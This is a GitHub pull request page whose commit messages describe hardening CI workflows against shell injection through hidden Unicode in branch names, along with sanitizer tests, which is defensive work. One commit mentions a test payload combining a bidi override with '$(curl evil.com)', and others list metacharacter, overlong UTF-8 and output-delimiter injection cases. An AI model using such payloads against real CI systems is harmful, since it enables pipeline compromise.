Conversation
CRITICAL: 3 workflows directly interpolated user-controllable branch names (github.head_ref, github.event.pull_request.head.ref) inside run: blocks. Hidden Unicode characters in branch names enable shell command injection (ref: aquasecurity/trivy#10253). Fixes applied to 5 workflows: ci-pr-unix.yml (CRITICAL): - github.head_ref and github.base_ref moved to env: block - All github.event.pull_request.head.sha moved to env: block - Step summary now uses env vars instead of ${{ }} interpolation ci-pr-unix-sb.yml (CRITICAL): - github.event.pull_request.head.ref moved to env: block - inputs.build-type moved to env: with allowlist validation (Release|Debug|RelWithDebInfo|MinSizeRel) preventing cmake argument injection - All PR context fields moved to env: block ci-pr-action.yml (REVIEW): - github.event.pull_request.base.sha/head.sha moved to env: block (already had SHA hex validation — defense in depth) - github.base_ref moved to env: block (already had case/master check) ci-pr-lint.yml (REVIEW): - inputs.ubuntu-version moved to env: block; error message no longer echoes the raw input value (was injectable even in failure path) - github.base_ref and github.event_name moved to env: block update-labels.yml (MEDIUM): - github.event.inputs.pr_number moved to env: block - github.event.pull_request.number moved to env: block Post-fix audit: 0 dangerous ${{ }} expressions remain in any run: block across all 16 workflows. Co-authored-by: Copilot <223556219+Copilot@users.noreply.github.com>
The finalize job's step summary prints GITHUB_HEAD_REF, GITHUB_BASE_REF, and GITHUB_REF via sanitize_line(), but these were not set in the step's env: block. They would always be empty, falling back to '<none>'. Add all three to the env: block so PR branch context renders correctly in the step summary. Values are still sanitized through sanitize_line() before output. Co-authored-by: Copilot <223556219+Copilot@users.noreply.github.com>
sanitize-sed.sh (v1 → v2):
- _strip_ctrl_keep_newlines: strip ANSI CSI (\x1b[...m), OSC
(\x1b]...\x07), and bare ESC sequences before removing control
chars. Prevents log spoofing via crafted ANSI escapes in PR
titles, branch names, or tool output written to GITHUB_STEP_SUMMARY.
- _strip_ctrl_remove_newlines: same ANSI stripping for single-line
sanitization (sanitize_line callers).
- Version bumped to v2.
ci-pr-action.yml + ci-pr-lint.yml:
- git fetch refspec hardened from bare branch name to fully-qualified
refs/heads/${base_ref}:refs/remotes/origin/${base_ref} style.
Prevents ambiguous ref resolution if a tag shares the branch name
(defense-in-depth — the case/master allowlist already blocks
non-master refs).
Co-authored-by: Copilot <223556219+Copilot@users.noreply.github.com>
…m matrix
- Add persist-credentials: false to 9 checkout steps across 7 workflows
(ci-clang-tidy-coreguidelines, ci-docker-latest, ci-docker-nixos,
ci-latest-release ×3, ci-pr-unix, ci-pr-win, wasm-latest-matrix)
to prevent GITHUB_TOKEN from persisting in the local git config
after checkout (defense-in-depth).
- wasm-latest-matrix.yml: move ${{ matrix.build_type }} from run:
blocks to env: blocks (BUILD_TYPE, MATRIX_BUILD_TYPE). While
matrix values are hardcoded and not user-controllable, this follows
the established pattern of avoiding ${{ }} expressions in run:
blocks for consistency and future-proofing.
- sanitize-sed.sh: fix header comment version V1 → V2 (body already
returned v2 from sanitizer_version()).
Co-authored-by: Copilot <223556219+Copilot@users.noreply.github.com>
Docker RUN does not support shell heredoc syntax (<< 'EOF'). The heredoc content was parsed as Dockerfile instructions, causing 'echo' to be treated as an unknown instruction on line 81. Replace with RUN printf '%s\n' ... > /workspace/welcome.sh which is compatible with all Docker versions. Fixes: ci-docker-nixos workflow failure (run 22535004529) Co-authored-by: Copilot <223556219+Copilot@users.noreply.github.com>
Both ci-docker-latest and ci-docker-nixos were building the image twice: once via buildx (push to GHCR) then again via plain 'docker build' for local testing. The second build duplicated all work and could fail independently (e.g. heredoc parse error in Dockerfile.nixos run 22535004529). Now: pull the image we just pushed by digest, tag it locally, and run the same test steps against it. Single build, single image. Co-authored-by: Copilot <223556219+Copilot@users.noreply.github.com>
This was
linked to
issues
Mar 2, 2026
sanitize-sed.sh: - Replace non-portable bare-ESC regex s/\x1b[^[]\?//g with simple s/\x1b//g final pass. The old pattern used ERE \? which has undefined behavior across sed implementations and could leave partial escape sequences or strip legitimate text. - Fix syntax error from prior edit (stray 'STRING' token on line 112). Workflows (ci-pr-unix, ci-pr-unix-sb, ci-pr-win, ci-pr-action, ci-latest-release): - PR_HEAD_SHA now falls back to github.sha when github.event.pull_request.head.sha is empty (workflow_dispatch and workflow_call triggers have no PR context, so the env var would be blank without the fallback). Co-authored-by: Copilot <223556219+Copilot@users.noreply.github.com>
Move ${{ matrix.os }}, ${{ matrix.compiler }}, and
${{ matrix.build_type }} from run: block interpolation to env:
blocks in ci-pr-unix.yml (validate, cmake, build, summary steps)
and ci-clang-tidy-coreguidelines.yml (cmake step).
This matches the allowlist pattern already in ci-pr-unix-sb.yml
and prevents expression injection if matrix values ever become
user-controllable via workflow_dispatch inputs.
Co-authored-by: Copilot <223556219+Copilot@users.noreply.github.com>
ChrisCoxArt
approved these changes
Mar 2, 2026
The INPUT_UBUNTU_VERSION is already in an env var (not direct expression interpolation), so showing it in the error message is safe and improves developer ergonomics for debugging. Co-authored-by: Copilot <223556219+Copilot@users.noreply.github.com>
Add _strip_unicode_control() to sanitize-sed.sh that removes: - Bidi overrides/embeddings (U+202A-202E, U+2066-2069) - Zero-width chars (U+200B-200F, U+2060, U+FEFF) - Interlinear annotations (U+FFF9-FFFB) Uses perl -CS for reliable multi-byte removal with sed byte-pattern fallback. Called from both _strip_ctrl_keep_newlines and _strip_ctrl_remove_newlines, protecting sanitize_line/sanitize_print. Defends against Trojan Source (bidi override) and invisible padding/join attacks in CI log output and step summaries. Note: homoglyphs (e.g. Cyrillic о vs Latin o) are valid Unicode letters and cannot be auto-stripped. Reviewer education is the mitigation for Pattern 3. Co-authored-by: Copilot <223556219+Copilot@users.noreply.github.com>
- Add Unicode bidi/ZWJ/BOM stripping to PowerShell Canonicalize() in ci-pr-win.yml and ci-latest-release.yml (matches sanitize-sed.sh v3) Strips: U+200B-200F, U+2028-202F, U+2060-2069, U+FEFF, U+FFF9-FFFB - Fix trailing whitespace across all modified workflow files - Add missing newline at EOF for ci-docker-latest.yml, ci-latest-release.yml Verified: CodeQL actions-queries 0.6.20 reports 0 findings across all 16 workflows. Sanitizer unit tests pass for all 3 attack patterns (bidi override, zero-width chars, BOM). Co-authored-by: Copilot <223556219+Copilot@users.noreply.github.com>
ChrisCoxArt
approved these changes
Mar 2, 2026
ChrisCoxArt
approved these changes
Mar 2, 2026
Port test suite from research branch to workflow-sanity-checks. Updates: - Source sanitize-sed.sh (was sanitize.sh/newest-sanitizer.sh) - Add 17 Unicode attack pattern tests covering all 3 vectors: Pattern 1: Bidi override (U+202E, U+202A, U+2066) Pattern 2: Zero-width chars (U+200B, U+200C, U+200D, U+2060, U+FEFF) Pattern 3: Homoglyph detection via sanitize_ref ASCII allowlist - Update ANSI test expectation (v3 strips full CSI sequences) - Update version check from v1 to v3 - Remove dead code after exit statement - 131 tests across 3 suites, all passing Co-authored-by: Copilot <223556219+Copilot@users.noreply.github.com>
New workflow runs all 3 bash test suites (131 tests) plus a PowerShell job testing the Canonicalize function with Unicode attack patterns. Triggers on push/PR when sanitize-sed.sh or .github/tests/ change. Uses hardened bash (--noprofile --norc, BASH_ENV=/dev/null), persist-credentials: false, and concurrency groups. Co-authored-by: Copilot <223556219+Copilot@users.noreply.github.com>
Fix PowerShell CR/LF test expectation (Canonicalize removes CR/LF without space substitution — expected 'line1line2' not 'line1 line2'). Add dedicated 'trivy#10253 Attack Reproduction' step to bash job: - Simulates hidden Unicode emoji chars in branch ref (🤖🦞) - Verifies sanitize_ref strips to ASCII-only output - Tests bidi override + $(curl evil.com) injection neutralized - Demonstrates all 3 defense layers (env: block, sanitize_ref, sanitize_line) Enrich step summary with defense-layer matrix table. Co-authored-by: Copilot <223556219+Copilot@users.noreply.github.com>
Member
Author
|
@ChrisCoxArt sorry if getting re-checks, it'll pass shortly. Had to get this workflow to pass. https://github.com/InternationalColorConsortium/iccDEV/actions/runs/22557410927 Thank You!!! |
Member
Author
Pre-Merge Report2026-03-02 01:15:51 UTC This PR attempts to address the latest PoC seen in a Workflow that injected Unicode to the Refs. Added the sanity checks & tests from research branch to this PR so they are generally available. Note the Claw and Copilot hidden emoji chars in branch refs in the screen grab below. 
|
sanitize-sed.sh:
- Fix version header V2 → V3
- Add LC_ALL=C to sanitize_ref() sed — prevents overlong UTF-8
bytes (e.g. 0xC0 0xAF for '/') from bypassing ASCII allowlist
in multi-byte locales
ci-comprehensive-build-test.yml:
- Add validate-ref job: validates CHECKOUT_REF matches
master|cfl|refs/pull/[0-9]*/head before any checkout
- All 6 build jobs now depend on validate-ref (defense-in-depth)
test_sanitization.sh (58 → 85 tests):
- 11 shell metacharacter injection tests (;|&&`$()><"\'{})
- 3 newline/CRLF/null-byte injection in refs
- 2 overlong UTF-8 bypass attempts (verified LC_ALL=C fix)
- 2 GITHUB_OUTPUT delimiter injection simulations
- 2 sanitize_print collapse/preserve behavior tests
- 2 sanitize_filename double-encoded traversal tests
- 3 boundary tests (MAXLEN exact, MAXLEN+1, empty/whitespace/dashes)
- 2 additional edge cases (null-byte extension, all-dashes ref)
ci-sanitizer-tests.yml:
- 7 new PowerShell tests: $(), backtick, pipe, semicolon,
newline, tab, U+2028/U+2029
- Updated test counts in step names and summary table
Verification:
- 158 bash tests pass (85 + 36 + 37)
- CodeQL actions-queries 0.6.20: 0 findings across 17 workflows
- All YAML valid
Co-authored-by: Copilot <223556219+Copilot@users.noreply.github.com>
Member
Author
PR Author Summary2026-03-02 01:44:30 UTC Intent to Merge |
xsscx
added
Pending Merge
xsscx
added
Merged
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
2 participants
Add this suggestion to a batch that can be applied as a single commit.This suggestion is invalid because no changes were made to the code.Suggestions cannot be applied while the pull request is closed.Suggestions cannot be applied while viewing a subset of changes.Only one suggestion per line can be applied in a batch.Add this suggestion to a batch that can be applied as a single commit.Applying suggestions on deleted lines is not supported.You must change the existing code in this line in order to create a valid suggestion.Outdated suggestions cannot be applied.This suggestion has been applied or marked resolved.Suggestions cannot be applied from pending reviews.Suggestions cannot be applied on multi-line comments.Suggestions cannot be applied while the pull request is queued to merge.Suggestion cannot be applied right now. Please check back later.
Pull Request Checklist